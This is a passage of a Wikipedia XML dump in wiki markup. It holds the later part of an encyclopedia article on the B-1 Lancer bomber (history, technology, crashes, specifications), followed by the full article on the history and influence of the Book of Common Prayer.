The [[Ronald Reagan|Reagan]] administration restarted the B-1 program in 1981 as part of its overall military buildup.  The B-1 was by then intended to serve as an interim bomber in anticipation of the [[stealth aircraft|stealthy]] Advanced Technology Bomber (which emerged as the [[B-2 Spirit]]). Cynics noted that the Air Force very astutely spread production subcontracts across many congressional districts, making the aircraft very popular on [[Capitol Hill]].  

The first production model of the revised '''B-1B''' first flew in October [[1984 in aviation|1984]], and the first B-1B, &quot;The Star of Abilene,&quot; was delivered to [[Dyess Air Force Base]], [[Abilene, Texas]], in June [[1985 in aviation|1985]], with initial operational capability on [[October 1]], [[1986]]. The final B-1B was delivered [[May 2]], [[1988]]. &quot;The Star of Abilene&quot; was recently retired and is now on display at the front gate of [[Dyess AFB]].

The B-1B did not have a popular name during its early USAF service. By the time it was given the official popular name &quot;Lancer&quot; in [[1990 in aviation|1990]], it had already become known to its crews as the &quot;Bone&quot; (a contraction of &quot;B one,&quot; also said to be inspired by its somewhat eerie shape).

===Partial retirement===
A total of 100 front-line aircraft were produced at a cost of over $200 million each. After several write-offs, 93 remained by the turn of the century. In [[2003 in aviation|2003]] the USAF decided to retire 33 of the B-1Bs to concentrate its budget on maintaining availability of the remaining aircraft, although in 2004 a new appropriations bill called for some of the retired aircraft to return to service. In 2004, the USAF returned seven of the mothballed bombers to service, giving a total force of 67 aircraft, with the rest cannibalized for spares.  Five of the seven that were brought back to service went to [[Dyess AFB]] in Texas, one to [[Ellsworth Air Force Base|Ellsworth AFB]] in [[South Dakota]], and another to [[Edwards AFB]] in California. In 2005, [[The Pentagon]] announced the closing of Ellsworth AFB and the transfer of all operational B-1s to [[Dyess AFB]]. However, on [[August 26]], [[2005]], it was announced that Ellsworth AFB would remain open thus no transfer of Ellsworth's B-1s would occur.

==Technology==
The B-1B has a blended wing and body configuration, along with [[swing-wing|variable-geometry]] design and [[jet engine|turbofan engine]]s, to improve range and speed with enhanced [[survivability]]. Forward wing settings are used for takeoff, landings and high-altitude maximum cruise. Aft wing settings are used in high subsonic and supersonic flight, enhancing the B-1B's performance. The wings of the B-1B originally were cleared for use at settings of 15, 25, 55, and 67.5 degrees; 45-degree settings were cleared in [[1998 in aviation|1998&amp;ndash;1999]]. When moving wings between those points, pilots must now observe strict maneuvering limits and transition the wings without stopping.

Unlike the B-1A, the B-1B made no attempt at Mach 2+ speeds, although its [[General Electric F101|F101-GE-102]] engines are somewhat more powerful than those of the B-1A. Its maximum speed at altitude is Mach 1.2  (about 950&amp;nbsp;mph or&amp;nbsp;1,330 km/h), although its low-level speed, Mach 0.95 (about 700&amp;nbsp;mph/1,118&amp;nbsp;km/h) is superior to the B-1A's Mach 0.85.

The B-1B's offensive [[avionics]] include the [[Westinghouse Electronic Systems|Westinghouse]] (now [[Northrop Grumman]]) AN/APQ-164 forward-looking offensive [[radar]] set, based on the [[AN/APG-66]] of the [[F-16]], but with electronic beam steering (and a fixed antenna pointed downward for reduced radar observability), [[synthetic aperture radar]], ground moving target indicator (MTI), and terrain-following radar modes, Doppler navigation, radar [[altimeter]], and an [[inertial navigation]] suite. From [[1995 in aviation|1995]] on, the B-1B Block D upgrade added a [[Global Positioning System]] receiver.  These features were intended to provide accurate navigation without reliance on ground-based navigation aids.

The B-1B's defensive electronics include the [[Eaton]] '''AN/ALQ-161''' radar warning and defensive [[jamming]] equipment, linked to a total of eight chaff/flare dispensers and managed by the AN/ASQ-184 defensive management system. The ALQ-161 has proved to be extremely troublesome in service, earning the B-1B an unfortunate reputation as the &quot;world's first self-jamming bomber.&quot; Even the current ALQ-161A upgrade is seen as inadequate, although plans for a defensive systems upgrade program (DSUP) were cancelled for budgetary reasons. The B-1B has also been equipped to carry the [[ALE-50 Towed Decoy System]]. The Lancer has an additional Doppler tail-warning radar to detect aircraft or missiles approaching from the rear, although the use of the radar raises the risk of detection through its emissions.

Also aiding the B-1B's survivability is its relatively low [[radar cross section|radar cross-section]] (RCS). Although not technically a [[stealth aircraft]] in a comprehensive sense, thanks to the aircraft's structure, serpentine intake paths, and use of radar-absorbent material, its RCS is about 1/50th that of the [[B-52 Stratofortress|B-52]] (probably about 26&amp;nbsp;ft²), although the Lancer is not substantially smaller in mass than the Stratofortress.

The B-1B has been upgraded since production through the '''Conventional Mission Upgrade Program'''. This multi-stage program added a new [[MIL-STD-1760]] smart-weapons interface that enables the use of the [[Joint Direct Attack Munition|Joint Direct Attack Munition]] and other precision-guided conventional weapons, such as the Wind-Corrected Munitions (WCM) dispenser, and the [[AGM-154 Joint Standoff Weapon|AGM-154 JSOW]] (Joint Stand-Off Weapon). Later, future precision miniature munitions such as Small Diameter Bomb will be added. These and other improvements are intended to ensure that the B-1 will be viable through approximately 2020.

Ironically, the provision for precision-guided conventional weapons has been accompanied by the deletion of the B-1B's nuclear capability. The Lancer currently is not equipped to carry or drop nuclear weapons due to the agreements signed under the [[Strategic Arms Reduction Treaty]].

==Operational History==
Sometimes criticized as redundant, the B-1B was given new life as the new threats of the 21st century emerged, and now fills an important niche in the [[United States Air Force|Air Force]] inventory. It is worth noting that the project finished on budget, and has higher survivability and speed when compared to the older B-52, which it was intended to replace. With the arrival of limited numbers of [[B-2 Spirit|B-2]]s in the 1990s and the continuing use of B-52s, its value has been questioned. However, the capability of a high-speed strike with a large bomb payload for time-sensitive operations is useful, and no new strategic bomber is on the immediate horizon.  

Operationally, the B-1B was first used in combat in support of operations against [[Iraq]] during [[Operation Desert Fox]] in December 1998. B-1B Lancers have been subsequently used in [[Operation Allied Force]] (Kosovo) and most notably [[Operation Enduring Freedom]] in [[Afghanistan]] and [[2003 invasion of Iraq|Operation Iraqi Freedom]]. During OEF and OIF the B-1 has maintained a 79 percent mission capable rate, a considerable improvement over its previous 57% average rate. 

*Date Deployed: June 1985
*Unit Cost: $283.1 million per aircraft
*Inventory:
**active force: 67
**mothballed: 24

The B-1B holds several world records for speed, payload and distance. The [[National Aeronautic Association]] recognized the B-1B for completing one of the 10 most memorable record flights for [[1993 in aviation|1993]]. 

===Crashes and malfunctions===
*A single B-1B was lost in December of 2001 over the [[Indian Ocean]]; its crew was rescued. The bomber (of the 20th Bomb Wing [http://www.flug-revue.rotor.com/FRNews1/FRNews01/FR011216.htm], designated ICECUBE 44 and bearing the state motto of [[New Hampshire]], &quot;Live Free or Die&quot;, on its nosecone [http://www.zianet.com/tedmorris/dg/realhistory.html]) was approximately 100 miles north of [[Diego Garcia]], whence it had departed, flying en route to a long-range combat mission over [[Afghanistan]], when the crew declared an in-flight emergency. Details remain classified, but the crash was attributed by the pilot, Capt. William Steele, to &quot;multiple malfunctions&quot; causing the bomber to go &quot;out of control&quot;.[http://web.archive.org/web/20041126203356/http://www.dailyherald.com/special/waronterrorism/story.asp?intID=37238140]  Further information from maintenance specialists related the aircraft mishap to the aircrew experiencing electrical bus failures that contributed to an instrument blackout affecting both primary and backup instruments.  It was also rumored that the aircraft at the time the aircrew ejected was not in level flight but inverted and quickly heading nose down towards the Indian Ocean.  With no visual reference available to the aircrew of level flight, the 4 members ejected safely.  The bomber carries what is known as a &quot;structural data collector&quot; or an SDC which constantly records the last 30 seconds of flight control positions, engine throttle settings, and other instrument data.  Because of the depth of the water in which the aircraft crashed, the SDC or &quot;Black Box&quot; was unable to be recovered from the wreckage and therefore the true nature of the cause was unable to be positively determined.  The aircraft had recently come out of &quot;cannibalization&quot; status prior to the flight that brought it to Diego Garcia.  Frequently maintenance will remove parts from a good aircraft to fix others that must fly that day.  Due to shortages of parts, this practice is a common on many Air Force bases and is not limited to bombers.  The aircraft (86-0114) was deemed airworthy prior to flight.  Hostile fire was ruled out as a cause for the crash. The crew spent two hours in the water before being resuced by a launch from the ''[[USS Russell (DDG-59)|USS Russell]]''. This was the first B-1B to be lost in combat operations since the model became operational in 1986. [http://multimedia.belointeractive.com/attack/strike/1212planedown.html] 

*On [[February 18]], [[1998]], a B-1B flying a training mission out of [[Dyess Air Force Base]] was lost over [[Kentucky]] when a fire in the cockpit instrument panel shut down the plane's power. All four crew members were able to eject and were rescued safely. In response to a warning light on the #3 engine, the crew took action to shut down the fuel pumps to that engine. However, a panel shortout caused a fire, which shut down fuel to ''all'' engines, and prevented them from being restarted. &quot;[T]he uncommanded shutdown of the three engines, in turn, removed all hydraulic and electrical power from the aircraft, rendering the pilots incapable of restarting the engines and controlling the aircraft&quot;, noted Col. David A Shunk, with the predictable result that the aircraft crashed into a pasture in [[Marion, Kentucky]]. [http://www.geocities.com/45peter/b1crash.html]

*In September 1997, a B-1B from the 28th Bomb Wing, flying a training mission out of [[Ellsworth Air Force Base]] crashed in [[Montana]]; all four members of the crew were killed. The cause was attributed to the pilot flying too low for the practiced flight maneuver.  The maneuver called for a reduction of airspeed and a sharp bank to bring the aircraft around quickly.  When the airspeed was lowered, it cause the aircraft to dip even lower so that when the maneuver was executed, the wingtip was driven into the ground destroying the aircraft and killing its crew. [http://www.cnn.com/US/9709/19/b1.crash/]

*17 people have been killed in B-1B crashes since the first production model's maiden flight in [[1984]]. [http://multimedia.belointeractive.com/attack/strike/1212planedown.html]

== B-1R ==
[[Image:Boeing B-1R.jpg|thumb|right|B-1R concept.]]
The B-1R is a proposed replacement for the B-1B fleet.[http://www.boeing.com/ids/allsystemsgo/issues/vol2/num2/story01.html] Boeing's director of global strike integration, Rich Parke, was first quoted about the “B-1R” bomber in ''[[Air Force Magazine]]''. Parke said the B-1R (R stands for “regional”) would be a Lancer with advanced radars, air-to-air missiles, and [[F-22 Raptor|F-22]] engines. Its new top speed—Mach 2.2—would be purchased at the price of a 20 percent reduction of the B-1B’s combat range. The [[FB-22]] is an alternative proposal.

Additional enhancements would include network-centric capabilities, air-to-air engagement, active electronically-scanned array radar, improved defensive systems, and opening up existing external hard points for conventional weapons.

===Units===
* [[7th Bomb Wing]], Dyess AFB, Abilene, Texas
** [[9th Bomb Squadron]]
** [[28th Bomb Squadron]]
* [[28th Bomb Wing]], Ellsworth AFB, Rapid City, South Dakota
** [[34th Bomb Squadron]]
** [[37th Bomb Squadron]]
* [[53d Wing]], Eglin AFB, FL
** [[337th Test and Evaluation Squadron]], Dyess AFB, Texas

==Specifications (B-1B Lancer)==
[[Image:B-1B Lancer.jpg|thumb|300px|B-1B Lancer on takeoff from [[RAF Fairford]]]]
[[Image:RIAT2004-B1B.jpg|thumb|300px|B-1B Lancer|B-1B at [[RIAT|RIAT 2004]]]]
{{airtemp|
&lt;!-- if you do not understand how to use this template, please ask at [[Wikipedia talk:WikiProject Aircraft]] --&gt;
&lt;!-- please answer the following questions --&gt;
|plane or copter?=plane
|jet or prop?=jet
&lt;!-- Now, fill out the specs.  Please include units where appropriate (main comes first, alt in parentheses). 
If an item doesn't apply, like capacity, leave it blank. For additional lines, end your alt units with a right paranthesis &quot;)&quot; and start a new, fully-formatted line --&gt;
|crew=4 (aircraft commander, copilot, offensive systems officer and defensive systems officer)
|length main=146 ft
|length alt=44.5 m
|span main=137 ft extended, 79 ft swept
|span alt=41.8 m / 24.1 m
|height main=34 ft
|height alt=10.4 m
|area main=1,950 ft&amp;sup2;
|area alt=181.2 m&amp;sup2;
|empty weight main=192,000 lb
|empty weight alt=87,100 kg
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|loaded weight alt=148,000 kg
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|max takeoff weight alt=216,400 kg
|engine (jet)=[[General Electric F101]]-GE-102
|type of jet=augmented turbofans
|number of jets=4
|thrust main=14,600 lbf dry, 30,780 lbf with afterburning
|thrust alt=64.94 kN / 136.92 kN
|max speed main=[[Mach number|Mach]] 1.25, 717 kt
|max speed alt=1,330 km/h
|range main=6,478 nm unrefueled, 2,993 nm with normal weapons load
|range alt=11,998 km / 5,543 km
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**84× [[Mark 82 bomb|Mk-82 general purpose bombs]]
**84× [[Mark 62 naval mine|Mk-62 naval mines]]
**30× CBU-87/[[CBU-89 Gator|89]] cluster munitions
**30× CBU-97 sensor fused weapons
**30× CBU-103/104/105 WCMD
**24× GBU-31 [[Joint Direct Attack Munition|JDAM]] GPS guided bombs (both Mk-84 general purpose and BLU-109 penetrating bombs)
**24× [[Mark 84 bomb|Mk-84 general purpose bombs]]
**24× [[AGM-158 JASSM]]
**12× AGM-154 JSOW
**8×  [[Mark 85 naval mine|Mk-85 naval mines]]
*Unlike any other heavy-bomber, can carry and employ any mix of the above ordnance (i.e. a different type of weapon in each bay)
*6 external hardpoints for an additional 59,000 lb (27,000 kg) of ordinance (use for weapons currently restricted by [[START I]] treaty)
}}

== Popular Culture ==
*Footage shot from the tail of a B-1A/B flying over the desert appears in [[Godfrey Reggio]]'s film [[Koyaanisqatsi]], pictured [http://www.spiritofbaraka.com/slideshow.aspx?image=KoyanisA422 here]
*In the movie [[Real Genius]], a B-1B is outfitted with an air-to-ground laser weapon.

==External links==
* [http://www.af.mil/factsheets/factsheet.asp?fsID=81 Official U.S. Air Force B-1 Fact Sheet]
* [http://www.b1b.wpafb.af.mil/ B-1 System Program Office Public Website]
* [http://globalsecurity.org/wmd/systems/b-1.htm GlobalSecurity.org B-1 page]
* [http://www.check-six.com/Crash_Sites/B-1_crash_site.htm The Crash of the B-1A]

==Related content==
{{Commons|B-1 Lancer}}
{{aircontent|

|sequence=
* '''B-1''' - [[B-2 Spirit|B-2]]

&lt;!-- From which older designs was this plane developed, and what planes did it lead to? --&gt;
|related=
* [[Boeing 2707]]

|similar aircraft=
&lt;!-- aircraft with similar role, era, and capability --&gt;
* [[Tupolev Tu-160]]

|lists=
&lt;!-- lists of similar aircraft (aircraft from the same nation, with the same mission profile, etc.) --&gt;
* [[List of bomber aircraft]]
* [[List of military aircraft of the United States]]

|see also=

}}

[[Category:Swing-wing aircraft]]
[[Category:U.S. bomber aircraft 1970-1979]]

[[de:Rockwell B-1]]
[[es:B-1B Lancer]]
[[fr:Rockwell B-1 Lancer]]
[[ja:B-1 (爆撃機)]]
[[pl:Rockwell B-1 Lancer]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Common Prayer</title>
    <id>4953</id>
    <revision>
      <id>41616844</id>
      <timestamp>2006-02-28T15:22:10Z</timestamp>
      <contributor>
        <username>Roger Arguile</username>
        <id>953143</id>
      </contributor>
      <minor />
      <comment>/* The [[1559]] prayer book */</comment>
      <text xml:space="preserve">'''[[Image:Bcp79.jpg|thumbnail|right|1979 [[Episcopal Church in the United States of America|ECUSA]]''BCP'' ]]'''
The '''''Book of Common Prayer'''''{{ref|titl}} is the prayer book of the [[Church of England]] and also the name for similar books used in other churches in the [[Anglican Communion]]. It went through several revisions during the 16th and 17th centuries but has remained largely unchanged since 1662. It contains the order to be followed in church services. 

== History ==
=== The Prayer Books of Edward VI ===
The work of producing English language books for use in the liturgy was, at the outset, the work of [[Thomas Cranmer]] Archbishop of Canterbury, under the reign of [[Henry VIII]]. The king was not unsympathetic to Cranmer's ideas, but it was the Archbishop, supported by more radical protégés, who forced the pace.  His first work, the earliest English-language service book of the Church of England, was the [[Exhortation and Litany (1544)|Exhortation and Litany]]. This was no mere translation: its Protestant character is made clear by the drastic reduction of the place of saints, compressing what had been the major part into three petitions.  Published in [[1544]], it borrowed greatly from [[Martin Luther]]'s [[Litany]] and [[Myles Coverdale]]'s [[New Testament]], and was the only service that might be considered to be &quot;[[Protestant]]&quot; to be finished within the lifetime of [[Henry VIII of England|King Henry VIII]].
{{template:anglicanism}}
It was not until Henry's death in 1547 and the accession of [[Edward VI]] that the reform could proceed faster. [[Cranmer]] finished his work on an English [[Eucharist|Communion]] rite in [[1548]], obeying an order of [[Parliament of the United Kingdom|Parliament]] that Communion was to be given as both bread and wine. The service existed as an addition to the pre-existing Latin Mass. 

It was included, one year later, in [[1549]],in a full prayer book, set out with a daily office, readings for Sundays and Holy Days, the Communion Service, Public Baptism, of Confirmation, of Matrimony, The Visitation of the Sick, At a Burial and the Ordinal (added in 1550). (This text of the Communion is online http://www.eskimo.com/~lhowell/bcp1662/communion/1549/ here).  The Preface to this edition, which contained Cranmer's explanation as to why a new prayer book was necessary, began: &quot;There was never any thing by the wit of man so well devised, or so sure established, which in continuance of time hath not been corrupted&quot;.  The original version was used until only [[1552]], when a further revision was released.

This second book marked a considerable change. In response to criticisms by such as [[Peter Martyr]] and [[Martin Bucer]] deliberate steps were taken to excise Catholic practices. In the [[Eucharist]], gone were the words [[Mass]] and [[altar]]; gone was the 'Lord have mercy' to be replaced by the [[Ten Commandments]]; removed to the end was the [[Gloria]]; gone was any reference to an offering of a 'Sacrifice of praise and thanksgiving' in the Eucharistic prayer, which ended with the words of institution (This is my Body..This is my blood...). The part of the prayer which followed, the Prayer of Oblation, was transferred, much changed, to a position after the congregation had received communion. The words at the administration of communion which, in the prayer book of 1549  described the eucharistic species as 'The body of our Lorde Jesus Christe...', 'The blood of our Lorde Jesus Christe...' were replaced with with the words 'Take, eat, in remembrance that Christ died for thee..' etc. The Peace, at which in earlier times the congregation had exchanged a greeting, was removed altogether. Vestments such as the [[stole]], [[chasuble]] and [[cope]] were no longer to be worn, but only a surplice. It was the final stage of Cranmer's work of removing all elements of sacrifice from the Latin Mass. In the Baptism service the signing with the cross was moved until after the baptism and the exorcism, the anointing, the putting on of the chrysom robe and the triple immersion were omitted. Most drastic of all was the removal of the Burial service from church: it was to take place at the graveside. In 1549, there had been provision for a Requiem (not so called) and prayers of commendation and committal, the first addressed to the deceased. All that remained was a single reference to the deceased, giving thanks for their delivery from ' the myseryes of this sinneful world'. 

Before the book was in general use Edward VI died. In [[1553]], [[Mary I of England|Mary I]], upon her succession to the throne, re-established the old religion. The [[Mass]] was re-established, altars, rood screens and statues were re-instated; an attempt was made to restore the Church to its Roman affiliation.  Cranmer was punished for his work in the Protestant reformation by being burned at the stake on March 21, [[1556]].  Nevertheless, the 1552 book was to survive. After Mary's death in 1558,it was re-instated, with subtle if significant changes only, and Cranmer's work was to survive until the 1920s as the only authorised book in the Church of England.

=== The [[1559]] prayer book ===
Thus, under [[Elizabeth I of England]], a restoration of the Reformed religion was undertaken, and  the 1552 book was republished in 1559.  In its Elizabethan form, scarcely altered, it was used for nearly 100 years, thus being the official prayer book under the Stuarts as well as being the first Anglican service in America. This was the prayer book of [[William Shakespeare]], [[John Donne]], and [[Richard Hooker]]. 
[[Image:Book of common prayer 1596.jpg|thumb|Title page of 1596 Prayer Book]]

The alterations, though minor, were to cast a long shadow. One related to what was worn. Instead of the banning of all vestments save the rochet (for bishops) and the surplice for parish clergy, it permitted 'such ornaments...as were in use...in the second year of K.Edward VI'. This was to be the basis of claims in the 19th. century that vestments such as chasubles, albs and stoles were legal. At the Communion the words 'the Body of our Lord Jesus Christ' etc. were combined with the words of Edward's second book, 'Take eat in remembrance..' etc. The prohibition on kneeling at the Communion was omitted. The conservative nature of these changes underlines the fact that Elizabeth's Protestantism was by no means universally popular, a fact which she herself recognised; her revived Act of Supremacy, giving her the ambiguous title of [[Supreme Governor]] passed without difficutly, but the Act of Uniformity passed through Parliament by only three votes. 

Elizabeth succeeded in creating a stable state, the Elizabethan settlement. However, on her death in 1603, this book,substantially the book of 1552, having been regarded as offensive by the likes of Bishop Stephen Gardiner in the sixteenth century as being a break with the tradition of the Western church, as it was, by the seventeenth century had come to be regarded as unduly Catholic. On the accession of [[James I]], following the so-called Millenary Petition, the [[Hampton Court conference]] of 1604, a meeting of bishops and Puritan divines, produced little change save to the catechism. By the reign of [[Charles I]] (1625-1649) the Puritan pressure, exercised through a much changed Parliament, increased. Government-inspired petitions for the removal of the prayer book and episcopacy 'root and branch' resulted in local disquiet in many places and eventually the production of locally organised counter petitions. The government had its way but it became clear that the division was not between Catholics and Protestants, but between Puritans and those who valued the Elizabethan settlement.  The 1559 book was finally outlawed by Parliament in [[1645]] to be replaced by the [[Directory for Public Worship]] which was more a set of instructions than a prayer book.  Following the execution of [[King Charles I]] and the establishment of the Commonwealth under Lord Protector [[Oliver Cromwell|Cromwell]], it would not be replaced until shortly after the restoration of the monarchy to England, when bishops, on returning to their Sees, restored it.

=== The [[1662]] prayer book ===
The 1662 prayer book was printed only two years after the restoration of the monarchy, following the [[Savoy Conference]] convened by Royal Warrant to review the book of 1559. Attempts by [[Presbyterians]] led by [[Richard Baxter]] to gain approval for an alternative service book were in vain. In reply to the Presbyterian Exceptions to the book only fifteen trivial changes were made to the new book. Among them was the inclusion the [[Offertory]]. This was achieved by the insertion of the words 'and oblations' into the prayer for the Church and the revision of the rubric so as to require the monetary offerings to be brought to the Table (instead of being put in the poor box) and the bread and wine placed upon the Table. Previously it was not clear when and how bread and wine were produced! After  the communion the unused but consecrated bread and wine were to be reverently consumed in church rather than being taken away and used for any other occasion. By such subtle means were Cranmer's purposes further subverted, leaving it for generations to argue over the precise theology of the rite. Unable to accept the new book 2000 Presbyterians were deprived of their livings. This revision survives today as the &quot;standard&quot; Parliament-approved ''Book of Common Prayer'' in England, with only minor revisions since its publication (mostly due the changes in the monarchy and in the dominion of the former Empire), but few parishes actually use it. In practice, most services in the Church of England are from [[Common Worship]], approved by Gneral Synod in 2000, following a nearly forty years of experiment.

The actual language of the 1662 revision was much unchanged from that of Cranmer, with the exception of the modernization of only the most archaic words and phrases.  This book was the one which had existed as the official ''Book of Common Prayer'' during the most monumental periods of growth of the British empire, and, as a result, has been a great influence on the prayer books of Anglican churches worldwide, [[liturgy|liturgies]] of other denominations in English, and of the [[English language]] as a whole.

=== Further developments ===
After the 1662 prayer book, development ceased in England until the twentieth century; that it did was, however, a bit of a close run thing. On the death of Charles II his brother, a Roman Catholic, became [[James II]]. James wished to achieve toleration for those of his own Roman Catholic faith, whose practices were still banned. This, however, drew the Presbyterians closer to the Church of England in their common desire to resist 'popery'; talk of reconciliation and liturgical compromise was thus in the air. But with the flight of James in 1688 and the arrival of the Calvinist [[William of Orange]] the position of the parties changed. The Presbyterians could achieve toleration of their practices without such a right being given to Roman Catholics and without, therefore, their having to submit to the Church of England, even with a liturgy more acceptable to them. They were now in a much stronger position to demand even more radical changes to the forms of worship. John Tillotson, Dean of St. Paul's pressed the king to set up a Commission to produce such a revision The so-called ''Liturgy of Comprehension'' of 1689, which was the result, conceded two thirds of the Presbyterian demands of 1661; but when it came to [[Convocation]] the members, now more fearful of William's perceived agenda, did not even discuss it and its contents were, for a long time, not even accessible. This work, however, did go on to influence the prayer books of many British colonies.

By the [[20th century]] other pressures upon the book of 1662 had arisen. Adherents of the [[Oxford Movement]], begun in 1833, raised questions about the relationship of the Church of England to the apostolic church and thus about its forms of worship. The illegal use of elements of the Roman rite, the use of candles, vestments and incense had become widespread and led to the [[Public Worship Regulation Act 1874]] which established a new system of discipline. This had no effect on illegal practices: five clergy were imprisoned for contempt of court and after the trial of the saintly Bishop [[Edward King]] of Lincoln, it became clear that some revision of the liturgy had to be embarked upon. Following a Royal Commission report in 1906, work began on a new prayer book, work that was to take twenty years.  

In [[1927]], this proposed prayer book was finished.  It was decided, during development, that the use of the services therein would be decided on by each given congregation, so as to avoid as much conflict as possible with traditionalists.  With these open guidelines the book was granted approval by the Church of England Convocations and Church Assembly.  Since the Church of England is a state church, a further step&amp;mdash;sending the proposed revision to Parliament&amp;mdash;was required, and the book was rejected in December of that year when the MP [[William Joynson-Hicks, 1st Viscount Brentford|William Joynson-Hicks]] argued strongly against it on the grounds that the proposed book was &quot;papistical&quot; and insufficiently Protestant.  The next year was spent revising the book to make it more suitable for Parliament, but it was rejected yet again in [[1928]]. However Convocation declared a state of emergency and authorised bishops to use the revised Book throughout that emergency.

The effect of the failure of the 1928 book was salutary: no further attempts were made to change the book, other than those required for the changes to the monarchy. Instead a different process, that of producing an alternative book , led eventually to the publication of the [[1980]] [[Alternative Service Book]] and subsequently to the [[2000]] ''[[Common Worship]]'' series of books. Both owe much to the ''Book of Common Prayer'' and the latter includes in the Order Two form of the Holy Communion a very slight revision of the prayer book service altering only one or two words and allowing the insertion of the Agnus Dei (Lamb of God) before Communion. Order One follows the pattern of modern liturgical scholarship. 

In 2003, a [[Roman Catholic]] adaptation of the BCP was published called the ''[[Book of Divine Worship]]''. It is a compromise of material drawn from the proposed 1928 book, the 1979 [[Episcopal Church in the United States of America|ECUSA]] book, and the [[Roman Missal]]. It was published primarily for use by Catholic converts from Anglicanism within the [[Anglican Use]].

== Prayer books in other Anglican churches==
A number of other nations have developed Anglican churches and their own revisions of the Book of Common Prayer.  Several are listed here:

===USA===
The '''[[Episcopal Church in the United States of America]]''' has produced numerous prayer books since the inception of the church in [[1789]]. Work on the first book began in [[1786]] and was subsequently finished and published in [[1789]]. The preface thereto mentions that &quot;this Church is far from intending to depart from the Church of England in any essential point of doctrine, discipline, or worship...further than local circumstances require.&quot; Further revisions to the prayer book in the United States occurred in [[1892]], [[1928]], and [[1979]]. Each edition was released into the [[public domain]] on publication, which has contributed to its influence as other churches have freely borrowed from it. The [[typeface]] used for the book is [[Sabon]].

===Australia===
The '''[[Anglican Church of Australia]]''' has successively issued several local versions of the Book of Common Prayer. The current edition is ''A Prayer Book For Australia'' (1995). The extreme theological divergence between Australia's largest and most prosperous diocese, the deeply conservatively evangelical Diocese of Sydney, and the rest of the Australian church has not proved as problematic for prayer book revisers as one might have supposed, as Sydney frowns on prayer books, as it does other conventionally Anglican appurtenances such as altars, robed clergy, and chanted and sung liturgies.

===Canada===
The '''[[Anglican Church of Canada]]''' developed its first Book of Common Prayer separate from the English version in [[1918]]. A revision was published in [[1962]], largely consisting of minor editorial emendations of archaic language (for example, changing &quot;O Lord save the Queen/Because there is none other that fighteth for us but only thou O Lord&quot; to &quot;O Lord save the Queen/And evermore mightily defend us&quot;). Some supplements have been developed over the past several years to the prayer book, but the compendious ''[[Book of Alternative Services]]'', published in [[1985]], which ''inter alia'' contains rites couched in Prayer Book phraseology, has largely supplanted it.

===Scotland===
[[Image:Book of common prayer Scotland 1637.jpg|thumb|right|120px|&lt;nowiki&gt;&lt;/nowiki&gt;]]
The '''[[Scottish Episcopal Church]]''' has had a number of revisions to the Book of Common Prayer since it was [[Jenny Geddes|first adapted]] for Scottish use in [[1637]].  These revisions were developed simultaneously with the English book till the mid-17th century when the Scottish book departed from the English revisions. A completely new revision was finished in [[1929]], and several revisions to the communion service have been prepared since then.

===Papua New Guinea===
The [[Anglican Church of Papua New Guinea]], separated from the ecclesiastical province of Brisbane in 1975 at the time of Papua New Guinea's independence from Australia, contends with the unusual problem that its adherents are largely concentrated in one province, Northern, whose inhabitants are largely Orokaiva speakers, little acquainted with the country's largest lingua franca, New Guinea Pidgin (see [[Tok Pisin]]). However, there are pockets of Anglicans elsewhere in the country including in the New Guinea Highlands and the New Guinea Islands, areas where Pidgin is used, as well as foreigners who use English in the towns. The Anglican Province has settled on a simple-English prayer book along the lines of the ''Good News Bible'', including simple illustrations.

== Religious influence ==
The ''Book of Common Prayer'' has had a great influence on a number of other denominations.  While theologically different, the language and flow of the service of many other churches owes a great debt to the prayer book.

[[John Wesley]], an Anglican priest whose teachings constitute the foundations of [[Methodism]] said, &quot;I believe there is no Liturgy in the world, either in ancient or modern language, which breathes more of a solid, scriptural, rational piety than the Common Prayer of the Church of England.&quot;  Presently, most Methodist churches have a very similar service and theology to those of the Anglican church.  The ''[[United Methodist]] Book of Worship'' (1992, ISBN 0687035724) uses the ''Book of Common Prayer'' as its primary model.

In the 1960s, when [[Roman Catholicism]] adopted a [[vernacular]] mass, many translations of the English prayers followed the form of Cranmer's translation.  Indeed, a number of theologians have suggested that the later English ''[[Alternative Service Book]]'' and [[1979]] American ''Book of Common Prayer'' borrowed from the Roman Catholic vernacular liturgy.

==Copyright status==
In most of the world the Book of Common Prayer can be freely reproduced as it is long out of copyright. This is not the case in the [[United Kingdom]] itself.

In the United Kingdom, the rights to the Book of Common Prayer are held by the British Crown. The rights fall outside the scope of copyright as defined in [[statute law]]. Instead they fall under the purvue of the [[royal prerogative]] and as such they are perpetual in subsistence. Publishers are licensed to reproduce the Book of Common Prayer under [[letters patent]]. In [[England]], [[Wales]] and [[Northern Ireland]] the letters patent are held by the [[Queen's Printer]], and in [[Scotland]] by the [[Scottish Bible Board]]. The office of Queen's Printer has been associated with the right to reproduce the Bible for many years, with the earliest known reference coming in 1577. In England, Wales and Northern Ireland the Queen's Printer is [[Cambridge University Press]]. CUP inherited the right of being Queen's Printer when they took over the firm of [[Eyre &amp; Spottiswoode]] in the late 20th century. Eyre &amp; Spottiswoode had been Queen's Printer since 1901. Other letters patent of similar antiquity grant Cambridge University Press and [[Oxford University Press]] the right to produce the Book of Common Prayer independently of the Queen's Printer.

The terms of the letters patent prohibit those other than the holders, or those authorised by the holders from printing, publishing or importing the Book of Common Prayer into the United Kingdom. The protection that the Book of Common Prayer, and also the [[King James Version of the Bible|Authorised Version]], enjoy is the last remnant of the time when the Crown held a monopoly over all printing and publishing in the United Kingdom.

It is common misconception that the [[Controller of Her Majesty's Stationery Office]] holds letters patent for being Queen's Printer. The Controller of HMSO holds a separate set of letters patent which cover the office Queen's Printer of Acts of Parliament. The [[Scotland Act 1998]] defines the position of Queen's Printer for Scotland as also being held by the Queen's Printer of Acts of Parliament. The position of Government Printer for Northern Ireland is also held by the Controller of HMSO.

==Note==
# {{note|titl}} The [[Long title|full name]] of the English ''Book of Common Prayer'' is '''''The Book of Common Prayer and Administration of the Sacraments and other Rites and Ceremonies of the Church according to the use of the Church of England together with the Psalter or Psalms of David pointed as they are to be sung or said in churches and the form and manner of making, ordaining, and consecrating of bishops, priests, and deacons'''''.

==See also==
* [[Prayer Book Rebellion]]
* [[Jenny Geddes]] - a leader of protests against the imposition of a book of common prayer on the [[Church of Scotland]]
* [[Thirty-Nine Articles]]
* [[Book of Common Order]]
* [[Prayer Book Society of Canada]]

{{wikisource}}
{{wikiquote}}

===References===

* ''History of Book of Common Prayer'' by F Procter, W H Frere ISBN 0333082818
* ''Book of Common Prayer'', 1979 Edition ISBN 0195287134
